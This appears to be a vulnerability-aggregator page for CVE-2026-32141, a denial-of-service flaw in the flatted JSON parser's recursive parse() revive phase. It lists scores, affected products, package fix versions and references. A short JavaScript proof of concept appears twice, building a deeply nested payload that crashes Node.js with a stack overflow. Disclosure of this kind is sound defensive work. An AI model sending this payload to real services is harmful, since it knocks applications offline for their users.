CVE-2026-32141
flatted: Unbounded recursion DoS in parse() revive phase
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
flatted: Unbounded recursion DoS in parse() revive phase
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
- Record
CVE-2026-32141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674, CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-11653
7.5
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
- Record
EUVD-2026-11653- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-25h7-pfq9-p65f
7.5
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Summary
flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
Impact
Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.
Affected Versions
All versions prior to the PR #88 fix.
- Record
GHSA-25h7-pfq9-p65f- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
NVD
7.5
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
- Record
CVE-2026-32141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674, CWE-770
- Updated
- 2026-11-02
OSV
7.5
flatted: Unbounded recursion DoS in parse() revive phase
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
- Record
CVE-2026-32141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-32141
7.5
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
- Record
DEBIAN-CVE-2026-32141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 10 moreShow less
OSVGHSA-25h7-pfq9-p65f
7.5
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Summary
flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
Impact
Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.
Affected Versions
All versions prior to the PR #88 fix.
- Record
GHSA-25h7-pfq9-p65f- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-32141
7.5
CVE-2026-32141 in flatted - Patched by Root
Root has patched CVE-2026-32141 in the flatted package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-32141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-32141
7.5
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
- Record
UBUNTU-CVE-2026-32141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-80312 No score
CVE-2026-32141 affecting package js-jquery 3.5.0-4
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
- Record
AZL-80312- Updated
- 2026-11-05
OSVCLSA-2026-1776299659 No score
TuxCare security update for flatted (2 CVEs)
TuxCare rebuilt flatted to address 2 CVEs. Fixed in 2.0.2-tuxcare.1.
- Record
CLSA-2026-1776299659- Updated
- 2026-11-02
OSVCLSA-2026-1779410883 No score
TuxCare security update for flatted (2 CVEs)
TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.3.3-tuxcare.1.
- Record
CLSA-2026-1779410883- Updated
- 2026-11-02
OSVCLSA-2026-1781830591 No score
TuxCare security update for flatted (2 CVEs)
TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.2.9-tuxcare.1.
- Record
CLSA-2026-1781830591- Updated
- 2026-11-02
OSVCLSA-2026-1781830592 No score
TuxCare security update for flatted (2 CVEs)
TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.3.2-tuxcare.1.
- Record
CLSA-2026-1781830592- Updated
- 2026-11-02
OSVCLSA-2026-1781830593 No score
TuxCare security update for flatted (2 CVEs)
TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.3.1-tuxcare.1.
- Record
CLSA-2026-1781830593- Updated
- 2026-11-02
OSVCLSA-2026-1792232973 No score
TuxCare security update for flatted (1 CVE)
TuxCare rebuilt flatted to address 1 CVE. Fixed in 2.0.0-tuxcare.2.
- Record
CLSA-2026-1792232973- Updated
- 2026-11-02
Affected products
- webreflection flatted
- red hat cluster observability operator 1.5.0
- red hat cryostat 4
- red hat logging subsystem for red hat openshift
- red hat 3scale api management platform 2
- red hat amq broker 7
- red hat ansible automation platform 2
- red hat build of apicurio registry 2
- red hat build of optaplanner 8
- red hat data grid 8
- red hat developer hub 1.8
- red hat developer hub 1.9
Show 20 moreShow less
- red hat directory server 11
- red hat directory server 12
- red hat directory server 13
- red hat edge manager 1.0
- red hat edge manager 1.1
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat fuse 7
- red hat jboss enterprise application platform 7
- red hat jboss enterprise application platform 8
- red hat jboss enterprise application platform expansion pack
- red hat openshift ai (rhoai)
- red hat openshift ai 2.16
- red hat openshift container platform 4
- red hat openshift dev spaces 3.28
- red hat process automation 7
- red hat quay 3
- red hat single sign-on 7
- red hat streams for apache kafka 2
- red hat streams for apache kafka 3
Affected packages
| Package | Affected | Fixed |
|---|---|---|
flattednpm |
before 3.4.0 | 3.4.0 |
js-jqueryAzure Linux:3 |
through 3.5.0-4 | None known |
flattedTuxCare:npm From an advisory covering 2 CVEs |
2.0.2-tuxcare.0 up to 2.0.2-tuxcare.1, plus listed versions 2.0.2 |
2.0.2-tuxcare.1 |
flattedTuxCare:npm From an advisory covering 2 CVEs |
3.3.3-tuxcare.0 up to 3.3.3-tuxcare.1, plus listed versions 3.3.3 |
3.3.3-tuxcare.1 |
flattedTuxCare:npm From an advisory covering 2 CVEs |
3.2.9-tuxcare.0 up to 3.2.9-tuxcare.1, plus listed versions 3.2.9 |
3.2.9-tuxcare.1 |
flattedTuxCare:npm From an advisory covering 2 CVEs |
3.3.2-tuxcare.0 up to 3.3.2-tuxcare.1, plus listed versions 3.3.2 |
3.3.2-tuxcare.1 |
flattedTuxCare:npm From an advisory covering 2 CVEs |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.1, plus listed versions 3.3.1 |
3.3.1-tuxcare.1 |
flattedTuxCare:npm |
2.0.0-tuxcare.0 up to 2.0.0-tuxcare.2, plus listed versions 2.0.02.0.0-tuxcare.1 |
2.0.0-tuxcare.2 |
node-flattedDebian:12 |
All versions, plus listed versions 3.2.7~ds-13.2.7~ds-1+deb12u13.4.1~ds-13.4.2~ds-13.4.4~ds-1 |
None known |
node-flattedDebian:13 |
All versions, plus listed versions 3.2.7~ds-13.2.7~ds-1+deb13u13.4.1~ds-13.4.2~ds-13.4.4~ds-1 |
None known |
Show 9 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-flattedDebian:14 |
before 3.4.1~ds-1, plus listed versions 3.2.7~ds-1 |
3.4.1~ds-1 |
flattedRoot:npm |
before 3.3.1-aikido.3 | 3.3.1-aikido.33.3.3-aikido.32.0.2-aikido.23.3.2-aikido.43.2.7-aikido.23.2.9-aikido.13.2.5-aikido.13.2.9-aikido.23.2.2-aikido.13.2.2-aikido.2 |
@rootio/flattedRoot:npm |
before 3.3.3-root.io.1 | 3.3.3-root.io.13.3.1-root.io.13.3.2-root.io.13.3.2-root.io.23.3.1-root.io.23.3.3-root.io.23.3.2-root.io.32.0.2-root.io.13.3.1-root.io.33.3.3-root.io.32.0.2-root.io.23.3.2-root.io.43.2.7-root.io.23.2.9-root.io.13.2.5-root.io.13.2.9-root.io.23.2.2-root.io.13.2.2-root.io.2 |
node-flattedUbuntu:20.04:LTS |
All versions, plus listed versions 2.0.1~dfsg-32.0.1~dfsg-4 |
None known |
node-flattedUbuntu:22.04:LTS |
All versions, plus listed versions 2.0.2~dfsg-12.0.2~dfsg-43.2.2~ds-23.2.2~ds-33.2.4~ds-13.2.5~ds-1 |
None known |
node-flattedUbuntu:24.04:LTS |
All versions, plus listed versions 3.2.7~ds-1 |
None known |
node-flattedUbuntu:25.10 |
All versions, plus listed versions 3.2.7~ds-1 |
None known |
node-flattedUbuntu:26.10 |
All versions, plus listed versions 3.4.2~ds-13.4.4~ds-1 |
None known |
node-flattedUbuntu:26.04:LTS |
All versions, plus listed versions 3.2.7~ds-13.4.2~ds-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-32141 is a high vulnerability (CVSS 7.5) in Webreflection Flatted, published March 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.84%, the 58th percentile. Fixed in flatted 3.4.0.
References
github.com/WebReflection/flatted/security/advisories/GHSA-25h7-pfq9-p65f
github.com/WebReflection/flatted/pull/88
github.com/WebReflection/flatted/commit/7eb65d857e1a40de11c47461cdbc8541449f0606
access.redhat.com/security/cve/CVE-2026-32141
bugzilla.redhat.com/show_bug.cgi?id=2447083
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32141.json
Show 15 moreShow less
access.redhat.com/errata/RHSA-2026:34342
access.redhat.com/errata/RHSA-2026:9742
access.redhat.com/errata/RHSA-2026:13826
access.redhat.com/errata/RHSA-2026:36651
access.redhat.com/errata/RHSA-2026:40945
access.redhat.com/errata/RHSA-2026:40118
access.redhat.com/errata/RHSA-2026:5807
access.redhat.com/errata/RHSA-2026:21772
nvd.nist.gov/vuln/detail/CVE-2026-32141
github.com/advisories/GHSA-25h7-pfq9-p65f
github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32141.json
security-tracker.debian.org/tracker/CVE-2026-32141
github.com/WebReflection/flatted
ubuntu.com/security/CVE-2026-32141
cve.org/CVERecord?id=CVE-2026-32141